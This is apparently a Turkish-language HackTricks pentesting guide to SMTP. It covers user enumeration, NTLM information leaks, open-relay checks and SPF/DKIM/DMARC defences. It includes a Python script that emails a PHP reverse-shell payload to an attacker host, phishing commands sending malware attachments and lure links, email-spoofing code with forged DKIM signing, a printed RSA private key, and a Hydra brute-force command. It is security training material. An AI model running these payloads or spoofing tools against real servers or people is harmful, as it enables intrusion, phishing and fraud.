hacktricks/network-services-pentesting/pentesting-smtp
2024-11-12 12:22:29 +00:00
..
README.md Translated ['README.md', 'generic-methodologies-and-resources/python/byp 2024-11-09 13:57:37 +00:00
smtp-commands.md Translated ['README.md', 'generic-methodologies-and-resources/python/byp 2024-11-09 13:57:37 +00:00
smtp-smuggling.md Translated ['binary-exploitation/format-strings/README.md', 'binary-expl 2024-11-12 12:22:29 +00:00

25,465,587 - Pentesting SMTP/s

{% hint style="success" %} AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin
{% endhint %}

Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin

Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın. Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

Temel Bilgiler

Basit Posta Aktarım Protokolü (SMTP), e-posta gönderimi ve alımı için TCP/IP paketinde kullanılan bir protokoldür. Alıcı tarafında mesajları kuyruklama konusundaki sınırlamaları nedeniyle, SMTP genellikle POP3 veya IMAP ile birlikte kullanılır. Bu ek protokoller, kullanıcıların mesajları bir sunucu posta kutusunda saklamasına ve bunları periyodik olarak indirmesine olanak tanır.

Pratikte, e-posta programlarının e-postaları göndermek için SMTP'yi kullanması, e-postaları almak için ise POP3 veya IMAP'ı kullanması yaygındır. Unix tabanlı sistemlerde, sendmail e-posta amaçları için en sık kullanılan SMTP sunucusu olarak öne çıkar. Sendmail olarak bilinen ticari paket bir POP3 sunucusunu kapsamaktadır. Ayrıca, Microsoft Exchange bir SMTP sunucusu sağlar ve POP3 desteği ekleme seçeneği sunar.

Varsayılan port: 25,465(ssl),587(ssl)

PORT   STATE SERVICE REASON  VERSION
25/tcp open  smtp    syn-ack Microsoft ESMTP 6.0.3790.3959

EMAIL Headers

Eğer kurbanın size bir e-posta göndermesini sağlama fırsatınız varsa (örneğin web sayfasının iletişim formu aracılığıyla), bunu yapın çünkü kurbanın iç topolojisi hakkında bilgi edinebilirsiniz e-postanın başlıklarını görerek.

Ayrıca, bir SMTP sunucusundan var olmayan bir adrese e-posta göndermeye çalışarak bir e-posta alabilirsiniz (çünkü sunucu saldırgana bir NDN e-postası gönderecektir). Ancak, e-postayı izin verilen bir adresten gönderdiğinizden emin olun (SPF politikasını kontrol edin) ve NDN mesajlarını alabileceğinizden emin olun.

Ayrıca, farklı içerikler göndermeyi deneyin çünkü başlıklarda daha ilginç bilgiler bulabilirsiniz: X-Virus-Scanned: by av.domain.com
EICAR test dosyasını göndermelisiniz.
AV'yi tespit etmek, bilinen zafiyetleri istismar etmenizi sağlayabilir.

Basic actions

Banner Grabbing/Basic connection

SMTP:

nc -vn <IP> 25

SMTPS:

openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587

Bir kuruluşun MX sunucularını bulma

dig +short mx google.com

Sayım

nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v

NTLM Auth - Bilgi sızıntısı

Eğer sunucu NTLM auth (Windows) destekliyorsa, hassas bilgilere (sürümler) ulaşabilirsiniz. Daha fazla bilgi burada.

root@kali: telnet example.com 587
220 example.com SMTP Server Banner
>> HELO
250 example.com Hello [x.x.x.x]
>> AUTH NTLM 334
NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA

Or otomatikleştir bunu nmap eklentisi smtp-ntlm-info.nse ile

İç sunucu adı - Bilgi sızıntısı

Bazı SMTP sunucuları, "MAIL FROM" komutu tam bir adres olmadan verildiğinde bir göndericinin adresini otomatik olarak tamamlar ve iç adını ifşa eder:

220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at  Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK

Sniffing

Port 25'ten paketlerden bazı şifreleri koklayıp koklayamadığınızı kontrol edin.

Auth bruteforce

Kullanıcı Adı Bruteforce Sayımı

Kimlik doğrulama her zaman gerekli değildir

RCPT TO

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
MAIL FROM:example@domain.com
250 2.1.0 example@domain.com... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok

VRFY

The VRFY command is used to verify if a specific email address exists on the mail server.

VRFY komutu, belirli bir e-posta adresinin posta sunucusunda mevcut olup olmadığını doğrulamak için kullanılır.

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
VRFY root
250 Super-User root@myhost
VRFY blah
550 blah... User unknown

EXPN

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 ed.williams@myhost
EXPN sshd
250 2.1.5 sshd privsep sshd@myhost

Otomatik araçlar

Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>

Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin

Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın. Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve otomatik istismarları kullanarak temel kanıtlar toplamak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

DSN Raporları

Teslimat Durumu Bildirim Raporları: Bir kuruluşa geçersiz bir adrese e-posta gönderdiğinizde, kuruluş, adresin geçersiz olduğunu size bir e-posta geri göndererek bildirecektir. Dönen e-postanın başlıkları, olası hassas bilgileri (raporlarla etkileşime giren e-posta hizmetlerinin IP adresi veya antivirüs yazılımı bilgileri gibi) içerebilir.

Komutlar

Linux konsolundan E-posta Gönderme

sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.

<phishing message>
swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197

Python ile E-posta Gönderme

Burada Python kodu ```python from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText import smtplib import sys

lhost = "127.0.0.1" lport = 443 rhost = "192.168.1.1" rport = 25 # 489,587

create message object instance

msg = MIMEMultipart()

setup the parameters of the message

password = "" msg['From'] = "attacker@local" msg['To'] = "victim@local" msg['Subject'] = "This is not a drill!"

payload

message = ("& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))

print("[*] Payload is generated : %s" % message)

msg.attach(MIMEText(message, 'plain')) server = smtplib.SMTP(host=rhost,port=rport)

if server.noop()[0] != 250: print("[-]Connection Error") exit()

server.starttls()

Uncomment if log-in with authencation

server.login(msg['From'], password)

server.sendmail(msg['From'], msg['To'], msg.as_string()) server.quit()

print("[***]successfully sent email to %s:" % (msg['To']))

</details>

## SMTP Smuggling

SMTP Smuggling açığı, tüm SMTP korumalarını atlamaya izin veriyordu (korumalar hakkında daha fazla bilgi için bir sonraki bölüme bakın). SMTP Smuggling hakkında daha fazla bilgi için:

{% content-ref url="smtp-smuggling.md" %}
[smtp-smuggling.md](smtp-smuggling.md)
{% endcontent-ref %}

## Mail Spoofing Karşı Önlemleri

Kuruluşlar, SMTP mesajlarının kolayca taklit edilebilmesi nedeniyle, **SPF**, **DKIM** ve **DMARC** kullanarak kendi adlarına yetkisiz e-posta gönderilmesini engeller.

**Bu karşı önlemler için kapsamlı bir rehber** [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/) adresinde mevcuttur.

### SPF

{% hint style="danger" %}
SPF [2014'te "kaldırıldı"](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Bu, `_spf.domain.com` içinde bir **TXT kaydı** oluşturmak yerine, **aynı sözdizimini** kullanarak `domain.com` içinde oluşturmanız gerektiği anlamına gelir.\
Ayrıca, önceki spf kayıtlarını yeniden kullanmak için genellikle `"v=spf1 include:_spf.google.com ~all"` gibi bir şey bulmak yaygındır.
{% endhint %}

**Gönderen Politika Çerçevesi** (SPF), E-posta Transfer Ajanlarının (MTA'lar), bir e-posta gönderen bir ana bilgisayarın, kuruluşlar tarafından tanımlanan yetkili e-posta sunucularının bir listesini sorgulayarak yetkilendirilip yetkilendirilmediğini doğrulamasını sağlayan bir mekanizmadır. Bu liste, **bir alan adı adına e-posta göndermeye yetkili** IP adreslerini/aralıklarını, alan adlarını ve diğer varlıkları belirtir ve SPF kaydında çeşitli "**Mekanizmalar**" içerir.

#### Mekanizmalar

[Wikipedia](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework) adresinden:

| Mekanizma | Açıklama                                                                                                                                                                                                                                                                                                                         |
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL       | Her zaman eşleşir; önceki mekanizmalarla eşleşmeyen tüm IP'ler için `-all` gibi bir varsayılan sonuç için kullanılır.                                                                                                                                                                                                                                  |
| A         | Alan adı, gönderenin adresine çözülebilen bir adres kaydına (A veya AAAA) sahipse, eşleşir.                                                                                                                                                                                                                   |
| IP4       | Gönderen, belirli bir IPv4 adres aralığındaysa, eşleşir.                                                                                                                                                                                                                                                                              |
| IP6       | Gönderen, belirli bir IPv6 adres aralığındaysa, eşleşir.                                                                                                                                                                                                                                                                              |
| MX        | Alan adı, gönderenin adresine çözülen bir MX kaydına sahipse, eşleşir (yani, e-posta alanın gelen e-posta sunucularından birinden gelir).                                                                                                                                                                          |
| PTR       | Müşterinin adresi için alan adı (PTR kaydı) belirtilen alanda ise ve bu alan adı müşterinin adresine çözülüyorsa (ileri onaylı ters DNS), eşleşir. Bu mekanizma önerilmez ve mümkünse kaçınılmalıdır.                                                                                     |
| EXISTS    | Belirtilen alan adı herhangi bir adrese çözülüyorsa, eşleşir (çözülen adres ne olursa olsun). Bu nadiren kullanılır. SPF makro dili ile birlikte, DNSBL sorguları gibi daha karmaşık eşleşmeler sunar.                                                                                                                           |
| INCLUDE   | Başka bir alanın politikasına atıfta bulunur. O alanın politikası geçerse, bu mekanizma geçer. Ancak, dahil edilen politika başarısız olursa, işleme devam edilir. Başka bir alanın politikasına tamamen devretmek için, yönlendirme uzantısı kullanılmalıdır.                                                                                     |
| REDIRECT  | <p>Yönlendirme, bir SPF politikasını barındıran başka bir alan adına işaret eden bir işarettir, bu da birden fazla alanın aynı SPF politikasını paylaşmasına olanak tanır. Aynı e-posta altyapısını paylaşan çok sayıda alanla çalışırken faydalıdır.</p><p>Yönlendirme Mekanizmasında belirtilen alanın SPF politikası kullanılacaktır.</p> |

Ayrıca, **bir mekanizma eşleşirse ne yapılması gerektiğini** belirten **Nitelikler** tanımlamak da mümkündür. Varsayılan olarak, **nitelik "+"** kullanılır (yani, herhangi bir mekanizma eşleşirse, bu izin verildiği anlamına gelir).\
Genellikle, **her SPF politikasının sonunda** **\~all** veya **-all** gibi bir şey not edersiniz. Bu, **gönderen herhangi bir SPF politikasına uymuyorsa, e-postayı güvensiz olarak işaretlemeniz (\~) veya e-postayı reddetmeniz (-) gerektiğini** belirtmek için kullanılır.

#### Nitelikler

Politikadaki her mekanizma, istenen sonucu tanımlamak için dört nitelikten biri ile ön eklenebilir:

* **`+`**: PASS sonucuna karşılık gelir. Varsayılan olarak, mekanizmalar bu niteliği varsayar, bu da `+mx`'in `mx` ile eşdeğer olduğu anlamına gelir.
* **`?`**: NEUTRAL sonucunu temsil eder, NONE (belirli bir politika yok) ile benzer şekilde işlenir.
* **`~`**: SOFTFAIL'i belirtir, NEUTRAL ile FAIL arasında bir orta zemin olarak hizmet eder. Bu sonucu karşılayan e-postalar genellikle kabul edilir ancak uygun şekilde işaretlenir.
* **`-`**: FAIL'i belirtir, e-postanın tamamen reddedilmesi gerektiğini önerir.

Gelecek örnekte, **google.com'un SPF politikası** gösterilmektedir. İlk SPF politikasında farklı alanlardan SPF politikalarının dahil edildiğine dikkat edin:
```shell-session
dig txt google.com | grep spf
google.com.             235     IN      TXT     "v=spf1 include:_spf.google.com ~all"

dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com.               IN      TXT
_spf.google.com.        235     IN      TXT     "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"

dig txt _netblocks.google.com | grep spf
_netblocks.google.com.  1606    IN      TXT     "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"

dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908    IN      TXT     "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"

dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903    IN      TXT     "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"

Geleneksel olarak, doğru/hiçbir SPF kaydı olmayan herhangi bir alan adını taklit etmek mümkündü. Günümüzde, eğer email geçerli bir SPF kaydı olmayan bir alan adından geliyorsa, muhtemelen otomatik olarak reddedilecek/ güvensiz olarak işaretlenecektir.

Bir alan adının SPF'sini kontrol etmek için şu çevrimiçi araçları kullanabilirsiniz: https://www.kitterman.com/spf/validate.html

DKIM (DomainKeys Identified Mail)

DKIM, dışa giden e-postaları imzalamak için kullanılır ve bunların, alan adının DNS'inden alınan genel anahtar aracılığıyla dış Mail Transfer Agent'ları (MTA'lar) tarafından doğrulanmasına olanak tanır. Bu genel anahtar, bir alan adının TXT kaydında bulunur. Bu anahtara erişmek için hem seçici hem de alan adı bilinmelidir.

Örneğin, anahtarı talep etmek için alan adı ve seçici gereklidir. Bunlar, mail başlığında DKIM-Signature içinde bulunabilir, örneğin, d=gmail.com;s=20120113.

Bu bilgiyi almak için bir komut şöyle görünebilir:

dig 20120113._domainkey.gmail.com TXT | grep p=
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN   TXT    "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3

DMARC (Domain-based Message Authentication, Reporting & Conformance)

DMARC, SPF ve DKIM protokollerinin üzerine inşa edilerek e-posta güvenliğini artırır. Belirli bir alan adından gelen e-postaların işlenmesiyle ilgili olarak, kimlik doğrulama hatalarıyla nasıl başa çıkılacağı ve e-posta işleme eylemleri hakkında raporların nereye gönderileceği gibi politikaları belirler.

DMARC kaydını almak için _dmarc alt alan adını sorgulamanız gerekir

# Reject
dig _dmarc.facebook.com txt | grep DMARC
_dmarc.facebook.com.	3600	IN	TXT	"v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"

# Quarantine
dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com.	300	IN	TXT	"v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"

# None
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com.	3600	IN	TXT	"v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"

DMARC etiketleri

Etiket Adı Amaç Örnek
v Protokol versiyonu v=DMARC1
pct Filtrelemeye tabi olan mesajların yüzdesi pct=20
ruf Adli raporlar için raporlama URI'si ruf=mailto:authfail@example.com
rua Toplu raporlar için raporlama URI'si rua=mailto:aggrep@example.com
p Kurumsal alan için politika p=quarantine
sp OD'nin alt alanları için politika sp=reject
adkim DKIM için hizalama modu adkim=s
aspf SPF için hizalama modu aspf=r

Alt Alanlar Ne Olacak?

Buradan buraya.
Mail göndermek istediğiniz her alt alan için ayrı SPF kayıtlarına sahip olmalısınız.
Aşağıdaki bilgi, bu tür şeyler için harika bir kaynak olan openspf.org'da ilk olarak yayınlanmıştır.

Demon Sorusu: Alt alanlar ne olacak?

Eğer pielovers.demon.co.uk'den mail alıyorsam ve pielovers için SPF verisi yoksa, bir seviye geri dönüp demon.co.uk için SPF'yi test etmeli miyim? Hayır. Demon'daki her alt alan farklı bir müşteridir ve her müşterinin kendi politikası olabilir. Demon's politikası varsayılan olarak tüm müşterilerine uygulanması mantıklı olmaz; eğer Demon bunu yapmak istiyorsa, her alt alan için SPF kayıtları oluşturabilir.

Bu nedenle SPF yayıncılarına tavsiye şudur: A veya MX kaydı olan her alt alan veya ana bilgisayar için bir SPF kaydı eklemelisiniz.

Yıldızlı A veya MX kayıtlarına sahip sitelerin de şu biçimde bir yıldızlı SPF kaydına sahip olması gerekir: * IN TXT "v=spf1 -all"

Bu mantıklıdır - bir alt alan çok farklı bir coğrafi konumda olabilir ve çok farklı bir SPF tanımına sahip olabilir.

ık İletim

E-postalar gönderildiğinde, spam olarak işaretlenmemelerini sağlamak çok önemlidir. Bu genellikle alıcı tarafından güvenilen bir iletim sunucusu kullanılarak sağlanır. Ancak, yaygın bir zorluk, yöneticilerin hangi IP aralıklarının güvenli olduğunu tam olarak bilmemesidir. Bu anlayış eksikliği, SMTP sunucusunun kurulumu sırasında hatalara yol açabilir ve bu, güvenlik değerlendirmelerinde sıkça tespit edilen bir risktir.

Bazı yöneticilerin, özellikle potansiyel veya devam eden müşterilerle iletişimde e-posta teslimat sorunlarından kaçınmak için kullandığı bir çözüm, herhangi bir IP adresinden bağlantılara izin vermektir. Bu, SMTP sunucusunun mynetworks parametresinin tüm IP adreslerini kabul edecek şekilde yapılandırılmasıyla yapılır, aşağıda gösterildiği gibi:

mynetworks = 0.0.0.0/0

Bir mail sunucusunun açık bir relay olup olmadığını kontrol etmek için (bu, herhangi bir dış kaynaktan e-posta iletebileceği anlamına gelir), nmap aracı yaygın olarak kullanılır. Bu testi yapmak için özel bir script içerir. nmap kullanarak 25 numaralı portta bir sunucuda (örneğin, IP 10.10.10.10 ile) ayrıntılı bir tarama gerçekleştirmek için komut:

nmap -p25 --script smtp-open-relay 10.10.10.10 -v

Araçlar

Sahte E-posta Gönder

Ya da bir araç kullanabilirsiniz:

# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com

{% hint style="warning" %} Eğer dkim python lib kullanarak anahtarı ayrıştırırken herhangi bir hata alırsanız, aşağıdaki alternatifini kullanmaktan çekinmeyin.
NOT: Bu, openssl özel anahtarının dkim tarafından ayrıştırılamadığı durumlarda hızlı kontroller yapmak için sadece geçici bir çözümdür.

-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
-----END RSA PRIVATE KEY-----

{% endhint %}

Ya da bunu manuel olarak yapabilirsiniz:

{% tabs %} {% tab title="PHP" %}

# Bu, imzasız bir mesaj gönderecektir
mail("your_email@gmail.com", "Test Subject!", "hey! This is a test", "From: administrator@victim.com");

{% endtab %}

{% tab title="Python" %}

# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py

import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase

# Set params
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""
<html>
<body>
<h3>This is a test, not a scam</h3>
<br />
</body>
</html>
"""
sender_domain=sender.split("@")[1]

# Prepare postfix
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
os.system("systemctl restart postfix")

# Generate DKIM keys
dkim_private_key_path="dkimprivatekey.pem"
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
with open(dkim_private_key_path) as fh:
dkim_private_key = fh.read()

# Generate email
msg = MIMEMultipart("alternative")
msg.attach(MIMEText(message_html, "html"))
msg["To"] = destination
msg["From"] = sender
msg["Subject"] = subject
headers = [b"To", b"From", b"Subject"]
msg_data = msg.as_bytes()

# Sign email with dkim
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
dkim_selector="s1"
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
msg_data = msg.as_bytes()

# Use local postfix relay to send email
smtp="127.0.0.1"
s = smtplib.SMTP(smtp)
s.sendmail(sender, [destination], msg_data)

{% endtab %} {% endtabs %}

Daha fazla bilgi

Bu korumalar hakkında daha fazla bilgi için https://seanthegeek.net/459/demystifying-dmarc/

Diğer oltalama göstergeleri

  • Alan adının yaşı
  • IP adreslerine işaret eden bağlantılar
  • Bağlantı manipülasyon teknikleri
  • Şüpheli (olağan dışı) ekler
  • Bozuk e-posta içeriği
  • E-posta başlıklarından farklı olan kullanılan değerler
  • Geçerli ve güvenilir bir SSL sertifikasının varlığı
  • Sayfanın web içerik filtreleme sitelerine gönderilmesi

SMTP Üzerinden Exfiltrasyon

Eğer verileri SMTP üzerinden gönderebiliyorsanız bunu okuyun.

Konfigürasyon dosyası

Postfix

Genellikle, kuruluysa, /etc/postfix/master.cf dosyası, örneğin bir kullanıcı tarafından yeni bir e-posta alındığında çalıştırılacak betikleri içerir. Örneğin flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient} satırı, kullanıcı mark tarafından yeni bir e-posta alındığında /etc/postfix/filtering'in çalıştırılacağını belirtir.

Diğer konfigürasyon dosyaları:

sendmail.cf
submit.cf

Referanslar

HackTricks Otomatik Komutlar

Protocol_Name: SMTP    #Protocol Abbreviation if there is one.
Port_Number:  25,465,587     #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.

https://book.hacktricks.xyz/pentesting/pentesting-smtp

Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25

Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}

Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}

Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587

Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}

Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V

Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'

Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin

Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın. Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürebilirsiniz.

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

{% hint style="success" %} AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin
{% endhint %}